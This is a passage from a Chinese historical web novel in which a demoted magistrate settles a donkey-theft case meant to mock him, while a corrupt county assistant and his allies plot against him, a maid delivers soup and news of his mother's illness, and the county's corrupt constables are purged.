两人这迥然不同的态度,让人一看就明白,究竟谁才是这驴子真正的主人。 就如同那话本故事上说的,在县官让两个自称是孩子生母的妇人拉扯孩子,来决定孩子的归属时,亲生母亲不舍孩子受疼,肯定会先放手。 而如今潘兴对驴子的疼痛坐视不理,可见这驴子当真不是他的所有物。 所有人都知道这件事,但还是那句话,得用证据说话才行。 可惜,两人的证据势均力敌,驴子对两人都亲近。 陈宴洲冷眼看着他们闹腾,直到他们还想继续掰扯,他却已经全然没了继续看下去的心思。 陈宴洲:“衙役押解这头驴到青石镇,李大成、潘兴全程不得靠近。青石镇路口将驴放归,驴去李家,驴归李家,去潘家,驴归潘家。退堂。” 陈宴洲三下五除二判了这桩荒唐的官司,起身迈着阔步回了后堂。 随云在后堂候着,见二爷过来忙伸手接过他递来的乌纱帽,一边低声开口问:“主子,可要属下去查一查那潘兴?” “不用。盯紧了范旭昌即可。” “是,属下稍后就加派人手,把他盯紧了。” “不要打草惊蛇,看他都和那家有勾连。” “是。” 陈宴洲还要继续往前走,身后却传来范县丞的声音。 范县丞面目白皙,身量中等,年约五旬左右。他长得一脸富态,看着慈眉善目,就跟那佛龛上供着的慈悲为怀的菩萨似的。 但只从那句广为流传的“铁打的范县丞,流水的云归县县令”就可知,这人绝不像他外在表现的这么无害温和。 若他真是这样一个人,他也不能将这县衙经营的铁通一般,水泼不进。 范县丞迈着四方步,一路小跑过来,远远的就冲陈宴洲行礼,“大人啊,这次当真是属下失职了。” 陈宴洲闻言顿住脚步,英俊的面孔上已不见先前的清冷,转而变成了疑惑与好奇。 他做了个“请”的手势,让范县丞在后堂的茶桌旁落座。范县丞连道了几声“谢大人赐座”,之后才坐下来。 一坐下来就言辞恳切的请罪,还说,“之前大人未归,属下便将李大成与潘兴叫到堂内询问击鼓所谓何事。” 又巴巴的将他得知缘由后,如何劝解两人的话重复一遍,末了说,“都是属下无能,不能劝解两人好生商议黑驴的归属。” 陈宴洲打断他的自责,“这如何能怪你?驴价昂贵,普通百姓许是一生也攒不够购驴的银钱。你几句话就想让他们把驴让出去,无异于让他们多年的辛苦劳作化作流水,苦主不愿意也情有可原。” “大人说的是。只是属下也是第一次经历这样的案子,之前考虑不周,没想到将驴唇堵住,倒是在公堂上闹了笑话,失了大人的颜面。” 陈宴洲:“既知过,以后改之即可……” 021 蠢不如驴? 范旭昌从县衙后堂走出去时,天色已过正午。 他不紧不慢的走出县衙,走到街口位置,便有一辆马车不声不响的跟了上来。 范旭昌上了马车,马车车厢中早有人坐等着了。 那人斟了一杯茶给范旭昌,调侃着说:“我闻着大人身上并无酒肉香,都这个时辰了,咱们那位县令大人连宴席都不置办一下,更不想着敬大人几杯薄酒。如此不识时务,之后他在云归县扎不下根,那可不怪咱们这些兄弟不给他面子,怪就怪在咱们这位县令大人太不会办事。” 范旭昌投来一个冷眼,那调侃的声音顿时就止住了。说话的人也不再是一副嬉皮笑脸的模样,反倒是恢复了正经。 他逢迎着问范旭昌,“大人说要试试这位县令大人的深浅,如今可试出来了?” 范旭昌慢悠悠的喝着茶,轻嗤一声说:“不过是个偷驴案罢了,只要这位大人不憨不傻,断然没有破不了案的道理。” 而他们这位新上任的县令大人憨傻么? 那绝不可能。 若他憨傻,他也不可能在今年殿试上,被陛下钦点为状元,更不可能被赐进士出身,入翰林院为修撰。 若不是受了他恩师的牵连,不肯与佟阁老划清界限,甚至屡次上书为恩师陈情,惹了陛下恼怒,他也不至于被贬到这鸡不生蛋、鸟不拉屎的云归县来做县令。 这样惊才绝艳的人物,若非他落了难,他们今生想见一面,怕是比登天还难。 若这样的人物都是憨傻的,那他们这些庸庸俗人又该称之为什么?未开化的上古人么? 范旭昌的神情慢慢冷沉下来,他和对面人说:“别看咱们这位县令才不过加冠之年,可他见识过的,怕是咱们活几辈子也见识不了。之后还是悠着点吧,这位县令是个目无下尘的,断然不可能与咱们同流合污。若让他发现咱们暗地里的勾当,咱们吃不了兜着走。” 那对面人闻言却全然不怕,只露出一副油滑戏谑的表情来,“老话都说,强龙不压地头蛇。先不说这位县令大人能不能称得上是强龙,就说咱们,这云归县可是被咱们经营的铁通一般,兄弟们的嘴个顶个的紧,这位大人想要探听出咱们的买卖,哪怕是不可能。” 又嘿嘿一笑,“他连您老人家都玩不过,又岂能看透咱们的秘密?仔细说起来,您老人家才是真的高,一个‘水’字就将这位小知县糊弄的团团转,让他忙于农事,直到现在都没摸清县里的门门道道,您老不当这个县令,咱们兄弟们都不服啊。” 范旭昌被逢迎的舒心了,可又想到,这位县令还不知道要在这穷乡僻壤待多少年,心头就有些絮烦。 若他一直在云归县,他们那买卖还不做了不成? 那对面的人想来也想到了这个问题,就问范旭昌说:“大人让咱们兄弟们最近都消停些,可兄弟们也是要养家糊口的。没了这进钱的营生,兄弟们如何坐得住?” 范旭昌:“那不然呢,继续顶着风头作案么?这位大人可不是之前那几位,更不是你们想收买就能收买的。别一个不慎,让他拿捏了咱们的把柄,咱们做了他的登天梯。” 对面之人冷笑,“大人未免太看得起那小儿了。虽说他是上边来的,见识不浅,可这下边的蝇营狗苟,这位县令大人还真不一定见识过。再说了,即便被他发现了咱们的勾当又能如何?天高皇帝远的,到时候将他杀了,只当是桩意外也就是了。” 这人话一出口,就知道要坏。 果然,范旭昌一双冷眼直勾勾的盯过来,“你想死,别带累我。” 范旭昌阴狠狠道:“老子是想青云直上,也不怕手上沾上人命,但这要看是谁的命。这人,我再给你说一遍,不能杀!也不许杀!你别真以为他为陛下厌弃,就能任你们为所欲为。落难的凤凰是不如鸡,可你也要看看那凤凰是什么出身,有没有些亲朋故交!就这陈宴洲,先不说佟阁老那些弟子门生肯定会看顾他,就说他还是荣国公的嫡次子,你敢动他一根头发试试?荣国公别不过陛下的大腿,可要收拾你们几个,也不过是动动手指头的事儿。别因为你们的一时心血来潮,被人直接捅了老鼠窝。” 范旭昌在一处僻静的胡同旁下了车,等他走远,马车又往前行了约有百米,便又有一个中年汉子上了马车。 那中年汉子看着马车中的赵雄一脸阴沉,便问道:“如何,又被那老匹夫教训了?” “呵,老匹夫,总有一天老子要拧下他的脑袋喂狗吃。” 被唤作赵雄的男子,便是之前与范县丞叙话那人。他眉眼尖刻,面色乌黑,嘴唇发紫,看着像是中了毒。实则不然,这不过是他恼怒之下会有的反应罢了。 不过这人的心肠,倒是比致命的毒.药还毒,即便是长期合作的朋友,一旦没了利用价值,他该杀就杀,堪称一个心狠毒辣。 这人性格桀骜阴毒,又最记仇,不少人知道他这个脾性,轻易不会得罪他。 而方才范旭昌那番话,显然是狠狠将他得罪了。 不过看范县丞那副不在意的模样,显然也知道这人奈何不了他,为此有恃无恐,根本不将这人的恼怒放在心上。 再说回马车内,吴世勋见赵雄露出如此毒辣的表情,不由好奇问道:“他说了什么让你这么记恨?” 赵雄“呵呵”,“说老子是阴沟里的老鼠算不算?Ma的范旭昌,自己没本事被人截了胡,找老子撒气来了。他以为老子是他门下的狗,他想怎么训就怎么训?他niang的狗东西,要不是还用得着他,老子刚才一刀捅了他。” 吴世勋闻言,面上露出若有所思的神色。 赵雄继续愤愤,“他还警告老子莫要乱杀人,小心最后怎么死的都不知道。他ma的,手上没几条人命,老子能活到几天?不乱杀人,他范旭昌现在还不知道在哪儿打渔呢。” 说范旭昌打渔有些过了,毕竟范旭昌总归读过几年书,即便没考出个名堂,但凭着他祖父和父亲的能耐,也给他谋了个在河伯所当差的职务。 河伯所负责渔税的征收,范旭昌一开始就是个普通的大使,还是百姓们没见识,见了当官的先就敬着几分,于是喊着喊着,不知道怎么就喊成了“吏员老爷”。 范旭昌真正的发迹,是在当地豪族尚家灭门之后。范旭昌在此案中贡献重大,当时的县令升迁之前,将他升成了县丞。 县丞乃是正八品官员,乃是一个县里边为数不多的,能称得上是朝廷命官的官员,其余只能算作小吏和杂役。这在外人看来风光,内里么,其实也就那么回事儿。 继续说范旭昌,他升任县丞后,很快凭借圆滑的手腕,与同僚打好了关系。又因为新过来上任的县令年老眼花,是个名副其实的糊涂虫。范旭昌奉承好了这位县令,甚至还给人买了两个小妾,就这般,他得了县令的青眼,甚至在县令分身无暇时,可以代理县务。 范旭昌就是在此时站稳脚跟的,而之后,他的势力越发庞大,人心也越来越不知足。 他不知足到什么地步么? 范旭昌想当县令! 按照夏朝的规定,但凡县级以上主官,全部由科举选拔调任,或是由四品以上官员推举选出。 范旭昌没经过正经的科举,且他也没本事让四品官员举荐他,让吏部为他写任命文书。是以,他就只能是个县丞。 但特事特办么。 云归县太穷了,这边有两年甚至都没有县令来赴任,范旭昌就想着,若是这县令一职空缺时间长了,他未尝没有机会。 可就在他做着美梦时,陈宴洲被贬来云归县做县令了。 陈宴洲是贬谪,可他的低谷却是范旭昌想的抓心挠肺的人生之巅,为此范旭昌自然恨得咬牙切齿。 但就如之前范旭昌说的,落难的凤凰是不是比鸡强,这不得看看他的背景。而这位新县令,自小长在勋贵府邸,他出入的是皇室宫廷和簪缨世家,即便如今落了难,又哪里是他们能欺辱的? 可就是咽不下这口气。 于是,就有了今天这一出“偷驴案”。 吴世勋显然对所有事情都知情,不由就呵呵笑着安慰赵雄,“你也是急昏了头,哪里需要你去算计那姓范的老贼,他那人你还不清楚,面上一套背后一套。别看他现在警告你别擅自妄动,其实心里不定怎么想着处理那新县令呢。” “那陈宴洲有没有几把刷子暂时看不出,但想来国公府不会不派人护持他。范旭昌想拿他出气,别被崩了牙。” “你就等着看热闹吧,真要是咽不下这口气,大不了你让人往新县令那带带话。这偷驴案么,可很有说头的。” 说着这句话,吴世勋面上意味深长的笑容越来越大,直至变成乐不可支的哈哈大笑。“范旭昌这人也真够刁滑歹毒的,好一个蠢不如驴,蠢不如驴,哈哈哈……” 当地人惯爱将“蠢不如驴”这句话挂在嘴边,这就是明摆着埋汰人的。而今天被偷的不是别的东西,偏偏就是头认吃不认主的蠢驴。 哈哈哈,范旭昌那老东西啊,看来也是憋得够呛了,这才闹了这么一出来。不管新县令今天能不能判案,今天这口气他可是出了一半了。 但是,不让新县令知道知道云归县的风俗,他又怎么能处理好这边的政务呢?他们作为贴心周到的云归县下治民,自然得事事想着县太爷才是。 而至于县令知道了此事,要如何与范旭昌掰腕子,范旭昌又会不会阴沟里翻船,这件事他们完全不关心。 也不能说他们不在乎范旭昌的死活,只能说,是他们太相信这老鬼的能力了。 陈宴洲再是能干有为,可谁让他碰见的是人老成精,更甚者是人老成鬼的范县丞呢? 前边几任县令都没拿范旭昌如何,甚至被他折腾的人仰马翻,更甚至丢了性命。陈宴洲这青瓜蛋子,难不成还能将范县丞摁死不成? 不用担心范旭昌身死,也不用担心范旭昌会落在新县令手里,那还有什么可担心的? 云归县太荒僻了,也太无聊了,他们迫不及待要看乐子啊,哈哈哈哈哈…… 022 白日见鬼 根本不等吴世勋与赵雄,将这“蠢不如驴”的暗示传到县衙去。 县衙那边陈宴洲等人,也已经知道了今天这出闹剧到底是干什么的。 升堂时诸人就觉得,今天的审案过程挺荒唐的,升堂后……更荒唐了,简直就跟儿戏似的。 不过有这“蠢不如驴”的隐喻后,他们倒是明白了那背后之人,弄出这么一出闹剧来究竟是为了什么。 明白后,一时间诸人也是啼笑皆非,甚至气都起不起来。 但想想心里总归是有些不得劲,几个侍从就摩拳擦掌想要将这闹事人揪出来,报复回去。 随雨几人蠢蠢欲动,陈宴洲却不喜不怒,顾自写着自己的大字。 蠢么? 这次他确实犯蠢了。 就如恩师说的,他已经折了进去,何必再填进去一个他? 恩师让他明哲保身,不要掺和到他们君臣的博弈中去。还说陛下罢他的官,不过是为给新君继位剔除潜在威胁。 说他不会一直如此,新君荣登大宝后,为收揽人心,他还有起复的希望。 陈宴洲未尝不知道这个道理,只是,恩师年愈七十,比陛下还年长十余岁。虽说恩师身体康泰,不见得活不过陛下,但那不知道要熬到何年何月。 且时过境迁,等到新君继位想起恩师时,那时又不知是何种光景。 最重要一点,谁也不能保证恩师到那个年岁,还身体安泰,还能主持变法,谋求大夏长安。 他老人家壮志雄心,为国为民百般筹谋,苦心孤诣,呕心沥血。可所有想法都已做过万全的打算,只待实施,偏却被强制按下了暂停键。 陈宴洲此时也觉得自己蠢了,恩师都已看开的事情,他偏却看不开。 留他在京城,总比被贬官到这穷乡僻壤的岭南来好上许多,他能做的事儿自然也更多。 悔么? 陈宴洲是有些后悔的。 可若是事情能重来,陈宴洲觉得,他还是会一意孤行,再一次跪倒在金銮殿上,屡次上书为恩师陈情。 陈宴洲沉默挥毫的时候,他身侧那名容貌清秀的少年却憋不住了。 随雨性格最是冲动,他是随云的双胞胎兄弟,别看和随云长得像是一个模子刻出来的,可两人的性格却天差地别,简直没有一点相似之处。 随云有多精明稳重,随雨就有多跳脱率性,两人简直就是两个极端。 此时就见随雨一脸怒气汹汹,他握紧了手中的剑,张口就道:“主子,我去收拾了那潘兴。” 墨雪拉住了他往外闯的身子,说他,主子都没发话,你擅作主张什么?”又问他:“你怎么收拾潘兴?一剑砍了他?还是拿刀把他剁成几段?知道的是你忠心护主,不忍主子受辱,那不知道的,还以为你和主子有什么深仇大恨,上赶着给主子惹事呢。” “我怎么惹事了,明明是那潘兴。呵,这畜生即便不是幕后主使,肯定也是知情者,不打杀了他出气,我能直接被气出血。” 也是开了眼了! 屁大点地方的刁民,怕是连他们主子的名姓是那几个字都没学会写,就敢拿主子开涮了。这次不给他们来个狠的,他们怕是不知道马王爷到底几只眼。 心中想过这些事情,随雨哀怨的看着二爷。尽管他知道二爷说的有道理,凡事不出手则已,出手一定要致命,要抓住他们的命脉,直接将以范县丞为首的暗处势力一网打尽,不然只会打草惊蛇,让投机者有逃出生天的机会…… 道理他都明白,可那些人行事也很谨慎。他们查了一两个月,才略微有点进展,可距离揪出那些违法作恶的人,还有很长一段距离。 就真的是,难道他们要一直忍着,忍到那一天再报复回去? 那他肯定要变忍者神龟了,他受不了啊! 随雨苦兮兮的看着主子,“二爷,您说句话,这事儿到底该怎么办,总归不能就这么算了,不然我咽不下这口气。” 陈宴洲放下手中的狼毫,沉沉看着书案上几个大字——宁静致远。 这四个字是他拜师第一天,恩师拿着他的手一个个写下来的,他也一直恪守恩师的教导。只可惜,从恩师出事,他就没真正的静过,好在如今他的心终于静下来了。 陈宴洲拿起桌上的纸张,径直递给旁边站着的雷霆,雷霆接过纸张往外走。 国公府的规矩,但凡主子手写的书画,除确定不犯忌讳需要保存的,其余皆要焚毁。为焚烧书画,府里还专门建了惜字炉。 主子从小养成的习惯,到了云归县后,也将惜字炉建了起来,就在这书房的侧院,不过两个月时间,那惜字炉中,已经积了厚厚一层黑灰。 雷霆转身走出书房,陈宴洲侧首看向随雨,“去寻李大成。” 偷驴案的“驴”已经有了归属,那驴子在没有潘兴的饴糖的诱哄下,到了青石镇的路口就径直往百里村的方向走,直至走到李大成家门口,挤开了李家的大门进了牲口圈。 这确定是李大成家的驴无疑。 李大成一家得回重金买来的驴,自然喜极而泣。他们原本还想和潘兴计较一二,但想到潘兴家大业大,他看着也是个混不吝。 这样的浪荡子,他们这些老实巴交的百姓自然畏惧不已。是以,为防潘兴报复,李大成一家得回驴之后,并没有再状告潘兴偷驴。 而如今大人说要找李大成,所谓为何一想便知。 即便明知潘兴肯定不会坐以待毙,关于驴的来处肯定有了周全的打算,但只要衙门不认,只要找不到最终的罪魁祸首,那潘兴这场牢狱之灾就别想免除。 随雨欢喜的嗷呜一声,高兴的领命而出,去处理潘兴的事儿了。 才走出书房门,就见从院外走进来一个貌美若神仙妃子的女子。 穿着夏日的青绿色衫裙,头上簪着一支白玉玲珑流苏簪。她肤色白皙,明眸皓齿,看人时眼神清冷若秋夜弦月…… 有几分眼熟,主要是气质眼熟,仔细一想,似乎有几分二爷的味儿。 那女子手上还提着一个食盒,一股子清香味儿从食盒中溢出。 随雨是知道后院中住了几个姑娘的。 说是姑娘,其实就是家里送来给二爷消遣的玩意儿。 若这些姑娘是国公夫人挑选让送来的,随雨会很欢喜,毕竟主子有人伺候起居,到底让属下安心。 可这几个女人乃是二夫人林淑清寻来送来的,且其中三个还是长安候府养在庄子上专门送人的美人出身,另一个则是林淑清的贴身大丫鬟……就真的是,不能想,一想就膈应的不行。 鉴于这几个女人的身份很让人不欢喜,随雨对着云莺说话就没了客气。他冷冰冰道:“书房重地,姑娘从哪儿来回哪儿去。” 又看着偷瞄院内动静的守门小厮,随雨龇着牙说:“蠢东西,分不清谁给你发月钱不是?再敢有下次,给我打包行李滚出县衙。” 那小厮直接就跪在地上了,一个劲儿应声,“是,小的再不敢了。” 小厮可不知道后宅这几个姑娘不讨二爷的喜欢,他只是想着,他是丁姑姑选进来的人,这女子又自称是丁姑姑派她过来给二爷送汤来的。哪怕是看在丁姑姑的颜面上,他也断然没有阻拦的道理。 要说他唯一的错处,可能就是没提前去通报。 此时小厮后悔不迭,暗道以后可不敢擅作主张了。以后就是天王老子来了,他不该放行还是不能放行。 教训了一顿小厮,随雨又看着垂首静立的云莺,“怎么还不走,等我拿八抬大轿抬你呢?” 云莺轻声道:“这就走,只是姑姑还有几句话让奴婢捎带给二爷,不知这位大人可否代为传话?” 随雨正想说“可以”,结果就见里边雷霆走出来问,“二爷交代你办差,你磨蹭什么,赶紧做事去。” “得,我这就走。倒是这女子,说是丁姑姑有话要捎带给二爷,你过来问她吧。”话落音随雨人就不见影了,惹得云莺不由得眨眨眼。青天白日的,她差点以为见了鬼。 023 送汤 雷霆自来不喜和女子接触,他转身想让随云过来问话,结果就见二爷正交代随云去范县丞处。 这是正事儿,雷霆不敢打扰,可他也实在不耐烦和女子絮叨。 雷霆就问二爷,“丁姑姑派了个姑娘过来传话,二爷要不要见一见?” “传什么话?”陈宴洲打发走随云,坐回到躺椅中。 雷霆侧身让随云出去,这才挠挠后脑勺回道:“属下还没问呢,不知道那女子要传什么话,不如主子亲自问问?” 陈宴洲无可无不可的“嗯”了一声,“叫进来吧。” 云莺被唤了进去,全程规矩的垂着头,不敢有丝毫逾矩的地方。 但即便如此,她眼角的余光也瞥见了,那位二爷此时正优哉游哉的躺在躺椅里。 躺椅上下轻摇,二爷就这般拿着书籍惬意的翻看着,一边还漫不经心的品着香茶,那悠游自在的模样,哪里有丁姑姑担心的怒火攻心? 看来丁姑姑的清热败火汤是白熬了。 是的,云莺这次名义上是来送清热败火汤的。 至于送汤的原因…… 蠢不如驴这句话,她们也从后宅那些粗使婆子口中听到了。 虽说他们都觉得这是凑巧了,应该不会有人胆大包天,特意出这损招来埋汰县太爷。 但是,万一呢? 想到这个万一,丁姑姑就坐不住了。 她来来回回在花厅中走了无数趟,恨不能把花厅的地都踩薄了几分。 丁姑姑是想来宽慰二爷的,但想也知道,遇到这种事儿,最好的解决办法就是装不知情,让事情在时间的流逝中慢慢淡化。不然她们上赶着来劝说二爷看开点,二爷的脸面往哪儿搁? 但丁姑姑又实在心疼主子,实在放不下这位二爷,于是,便精心选了雪梨、萝卜和瘦肉,用小文慢慢炖着,给二爷煨了这一瓦罐的清热败火汤。 至于送汤的重任为何落在云莺身上:一来,众人都猜二爷此时大概心情不佳,不愿意过来蹙这个眉头,俱都找借口躲了个干净。二来,也是云莺有自己的目的——她想试探的打问一下,二爷之前说的,帮她们要回身契,将她们发嫁的事儿到底是不是真的。若是真的,可不可以帮她拿回身契…… 收回这些胡思乱想,只说云莺一丝不苟的行了礼,而后不等二爷问话,便将手中的食盒先一步递出去。 “今天晚膳会比平时晚上两刻钟,丁姑姑担心二爷腹中饥饿,便先炖了这蛊雪梨萝卜瘦肉汤,让二爷先垫一下肚子。” 陈宴洲又“嗯”了一声,雷霆默认主子同意把这雪梨汤留下,便上前一步将食盒接过去。 手中一空,云莺脊背挺的更直了。 她提提神,再次开口说:“丁姑姑还让奴婢捎话来,说是她午后接到一封从京城过来的书信,乃是在国公府当差的老姐妹们给她的。信上一笔带过,说是国公夫人这些时日有些症候,不知二爷可得到消息了?” 陈宴洲听到这里,顿时停住动作。 摇椅不上下摇晃了,茶盏也被放到了旁边的矮几上。 陈宴洲收了书卷站起身,朝云莺走来。 云莺依旧没抬头,脊背却挺的比之前更直了。 渐渐地,有陌生的男子气息在身周萦绕开来。那淡淡的松墨香气,似乎有些轻微的冷,好似其中增添了薄荷,轻吸一口,便让人头脑都清醒了。 眼帘下也出现了一双墨色的牛皮靴,以及一劫玄色的衣襟。衣襟上带有精美的云纹刺绣,一动不动的垂在距离云莺两步远的地方。 有磁沉低哑的男声在头顶响起,那位二爷蹙眉问说:“丁姑姑还说了什么?” 云莺摇摇头,“姑姑其他的都没说。” 丁姑姑还能说什么呢?即便还知道其余一些事情,但总归不好说给二爷听。 不然,那个写信给她的老姐妹,不是要遭责难? 要知道,国公府的规矩可是很严苛的。 丁姑姑那位老姐妹将国公夫人的身体状况告诉丁姑姑,有卖好的成分在,但这总归是坏了规矩。 让二爷知晓那人是谁,二爷指定不会轻饶她。 而丁姑姑没有亲自过来一趟,也是想着,面对二爷的咄咄逼问,她肯定什么也瞒不住,指不定就把该说的不该说的都说了,那不坑了人么? 可一直将这事儿瞒着二爷,那又不行。 丁姑姑可不想让距离拉远了这对母子的关系——她也想二爷多关心夫人几分,让夫人多开怀。 鉴于这种种,丁姑姑将事情告诉了云莺,让云莺代为传话,她却没亲自过来。 当然,丁姑姑不亲自过来,还有另外一个原因,那就是:国公夫人染恙,二爷指定会催促丁姑姑回京伺候,而丁姑姑在未完成夫人交代的任务之前,是绝对不会回京的! 不说这些乱七八糟的,只说陈宴洲听了丫鬟的回复,内心很不满,一双剑眉便狠狠地蹙了起来。 他问丫鬟,“姑姑也不知母亲因何得病?有了何种症候?如今可痊愈?” 陈宴洲一开口就问了这几个问题,问完才发现面前的丫鬟还垂着首。他便又开口,“抬起头来回话。” 云莺抬起头来,陈宴洲看见她这张面孔,眉头拧的更厉害了。 他对面前这张云鬓花颜还有印象,知道是林淑清特意托母亲送来伺候他的人。 这个女人,乃是长安侯府养在庄子上的姑娘,也即是长安侯府的人。 陈宴洲眉目间更添两分清冷,英挺的五官也愈发冷漠。他冷沉沉的说,“将你知道的都说出来。” 可云莺又知道什么呢? 丁姑姑让她来这趟,原也不过是想转移下二爷的注意力,让二爷不至于怒火攻心。且也是二爷催着他们回京,让丁姑姑有了紧迫感,她没办法让二爷回心转意,只能指望二爷色心上头,看上了其中一个姑娘,然后把他们所有人都留下。 而云莺的容貌,说句不客气的,那就是在长安侯府的庄子上,也属于出类拔萃,嫌少有人能媲美的。到了这里,即便出色如木槿和秋宁,比她也逊色了许多。 尽管丁姑姑直到现在还看不透她,不知道这姑娘到底想要什么,一天到晚心里又想着什么。但总归她的身契在府里,即便她想作妖也不成。 丁姑姑不怕拿捏不住云莺,就很果断的,趁着这个机会,让云莺到二爷这里来露个脸。 再说云莺,她对人的情绪很敏感。 二爷看见她这张脸后,语气明显比之前更冷了几分,且还转身走开了两步,厌弃的态度简直不要太明显。 云莺心中一沉,想打探能不能要回身契的希望落空。她心沉甸甸的,人也就无精打采起来。回起陈宴洲的话,自然也平平淡淡的,好似与她对话的是什么无关紧要的人一般。 云莺:“奴婢其余事情一概不知。丁姑姑未曾说过,奴婢也未曾打探过。二爷若想知道,不若奴婢唤了丁姑姑来,二爷亲自问一问姑姑?” 书房内静了一静,陈宴洲微眯起眼看着又垂首下来的女子。 她看似对他敌意很大,这是何故? 不管是为什么,这与他也没有什么干系。 二爷只觉得将时间浪费在这女子身上,实在无聊至极。 他便淡漠的吩咐说:“下去吧,也不用唤丁姑姑过来了。” 云莺应了一声,利落的福身告退。 她走的爽快极了,丝毫没有其余女子见到陈宴洲后依依不舍的模样,一时间倒是令屋内两人纳罕。 但陈宴洲的事情还有很多,他根本无暇,在一个不值得他花费心思的女人身上浪费时间。 他想着,回头要写封信问问母亲,看她身体现在如何。 至于丁姑姑,想来即便丁姑姑还知道些什么,也不会告诉他。不是不想,而是不能,那他又何必令她为难? 陈宴洲的思绪跑远,雷霆呢,他摸着下巴,对着门口的方向发呆。 总觉得刚才从那姑娘身上看到了二爷的一二分影子。就那淡漠劲儿,别说,和二爷还真像了好几分。 024 一连串动作 云归县县衙又有热闹了。 那个偷驴案的被告潘兴又被抓回县衙了。 潘兴是谁? 说起潘兴,云归县的百姓对他是有几分印象的。但这印象,可绝对不是什么好印象。 为什么这么说呢? 别看潘兴只是云归县下辖青石镇上的人,但他人混不吝,整天无所事事,招猫逗狗,还和县城那些浪荡子们混迹在一处。 今日调戏个良家妇女,明日抢摊贩几颗梨。当然,这些都只是小事,大事儿呢,那说起来可就招人恨了。 问题出在潘兴的营生上。 原来,这潘兴家有一门祖传的酿醋的营生,可那醋要价贵的离谱,味道还寡淡,且还有股子涩味,就没几个人上门来买。 到了潘兴这一辈,那醋坊无生意可做,眼看着就要关门。可潘兴不知道使了什么法子,竟弄来一张酿酒的方子。 只是,不知道潘兴是没掌握好酿造的精髓,或者是不舍得下好料,再不然就是太懒惰,没将酿醋的一些装备洗刷干净,就直接拿来酿酒了。总之,酿出的酒一股子马尿味儿,细品还有一股子酸涩味儿。 真就是,把这酒给穷困潦倒的老百姓喝,老百姓都不带喝的。 把酒酿成这个模样,这酒水自然是卖不出去的。 可潘兴这人邪性的很,他在县城认了几个大哥,那几个大哥又有其余兄弟,一帮人给潘兴撑腰,搅合的包括云归县及其下辖村镇在内,但凡开门做生意能用到酒水的,必须得从潘兴这儿购买才可以。 不然,就三天两头有人上门找事儿,轻则搅合的你生意做不成,重则身体损伤要人命。 就这样,慑于这些人的威严,潘兴的生意好转。渐渐的,就成了远近闻名的富豪大户。 可以说,这些年潘兴没少赚银子,但赚钱的同时,这人的名声大大的坏了。 上次潘兴进公堂,众人就期望县令大人能为民除害,把这潘兴收拾了。可最后驴虽然跑到李老头家了,但李老头弄回了驴,心里倒是后怕起来。就更别说继续状告潘兴,让他坐牢了,潘兴不回头纠集他那些兄弟来报复他,李老头就谢天谢地了。 云归县的百姓知道了这个后续,虽然怒其不争,但换位思考一下,若他们是李老汉,在驴被抢回来后,想来也不会和潘兴再有过多纠缠。 他们都是良民,可得罪不起这些没有人性的畜生。 尽管心中很遗憾不能看到潘兴伏法,但新任县太爷显然是个不会袒护恶匪的清官,那距离潘兴落网想来也不远了。 老百姓们想着潘兴迟早会遭报应,可没想到,这报应来的这么快。 潘兴他又被人告了! 且告他的人还是李老汉! 李老汉说了,这潘兴偷了他的驴,官府要按律惩戒,不然他就要继续上告,让府官给他主持公道。 李老汉击鼓鸣冤,县衙自然不会坐视不理。于是,潘兴再次走进公堂。 可这次,潘兴给出的卖给他驴子的人,在牛马市上寻不见,于是,潘兴被收监,喜提免费食宿。 李老头高兴坏了,欢欢喜喜的回了家。 云归县的百姓也欢喜坏了,直说恶有恶报,县令大人是青天大老爷。 可惜,这种高兴只维持了两天,潘兴又被衙门放出来了。 为什么呢? 因为卖给潘兴驴子的那个掌柜,他主动跳出来救潘兴与水火了。 可这掌柜瘦瘦小小,须发皆白,与人说话时也战战兢兢,无论怎么看,这也就是个普普通通的小老头,怎么瞧都不像是能在牛马市场混的风生水起的大掌柜。 可他硬咬死了那头驴子是他卖给潘兴的,潘兴是拿了银钱从他手中买的驴,潘兴是无辜的。那衙门没办法,只能再次将潘兴放归。 可潘兴放归了,老头却因为交代不清如何“意外”得来的驴,而被收监…… 真就是,任是谁来了,也能一眼看出来,这老头就是个替罪羊。可他将话咬的死死的,那县衙不放潘兴也不成。 潘兴就这般大摇大摆的走到了街道上,得意又嚣张的在县衙门口张狂大笑,那狂妄的模样,真就是让人恨得,嘴唇都咬出血来了。 也许是恨潘兴的人实在太多太多了,连老天爷都觉得不管管潘兴是不行了,于是,潘兴在一天后,再次被收监! 这次却是因为,那之前解救他的老头,在监牢里翻供了! 老头翻供的原因也简单,因为半夜三更,他险些被人勒死。侥幸被人解救下来,老头意识到,大概率是幕后之人想让他永远闭嘴,老头直接就被吓傻了。 等回神过来,老头就拉着救他性命的随雨的胳膊,哭的一把鼻涕一把泪。反复说,他后悔了,就不该为了银钱做这丧良心的事儿,看吧,差点命都没了。 原来,之前是有人特意找上他,给了他一大笔银钱,让他将潘兴“救”出去。 恰逢他老妻重病,儿子断腿,家里急需要银钱,这老汉晕了头,一口就同意了。 可他只同意来坐牢,没准备替死。 老头一翻供,潘兴再次被收监。 这次不仅潘兴折进去了,就连县衙的两个捕快,也去牢里蹲着了。 他们就是要勒死老头的人,若不是随雨出现的及时,那老头真就命丧在他们手中。 不过被抓个正着,他们也别想出去了。 一个谋杀的罪名少不了,他们轻则牢底坐穿,重则流放砍头。 除了这两个捕快,县衙的廉捕头也被送进了监牢。 这位廉捕头就是那日审“偷驴案”时,给驴唇捆绳子那位捕头。 他是县衙这些捕快的头头,长着一张充满男子气概的国字脸,身体高大威武,眼神满是正气,看模样很时令人信服。 可就是这样一个满身威望的捕头,指使两个衙役去监牢杀人。 廉捕头的落马,牵连的整个县衙的衙役们从上到下被严查了一个遍。 这一严查,只余下三五个还算干净的继续任职,其余人要么被撸干净差事打发回家,要么就直接被送到牢房里。 县衙的这一番变动,速度快极,委实让人眼花缭乱。 等县里的百姓回过神来,新的捕头已经上任。此人乃是新县令身边的侍卫,一身英武之气,看着沉默寡言,可气势凌人,眼神犀利。 没等百姓们从“新捕头哪儿都好,就是太年轻,不知道能不能当大任”这些闲话中脱身,县衙又有了新动作—— 云归县县衙要从下辖地界中,择取青壮良民充作捕快,有意者可与某年某月某日到县衙报名。 百姓们都轰动了。 此时什么潘兴啊,替罪羊啊,新上任的雷霆捕头啊,全不在他们的关心范围内了。 百姓们挤挤挨挨凑在一块儿,全都说起了让自家儿子、侄子、孙子去报名当捕快的事儿。 那可是捕快啊! 虽然捕快不算是正经的朝廷官员,只能算是吏,但这到底是衙门里的工作人员,且每月还有一两银子左右的俸禄……可别说什么当捕快影响子孙的前程,三代以内不能参加科举了。 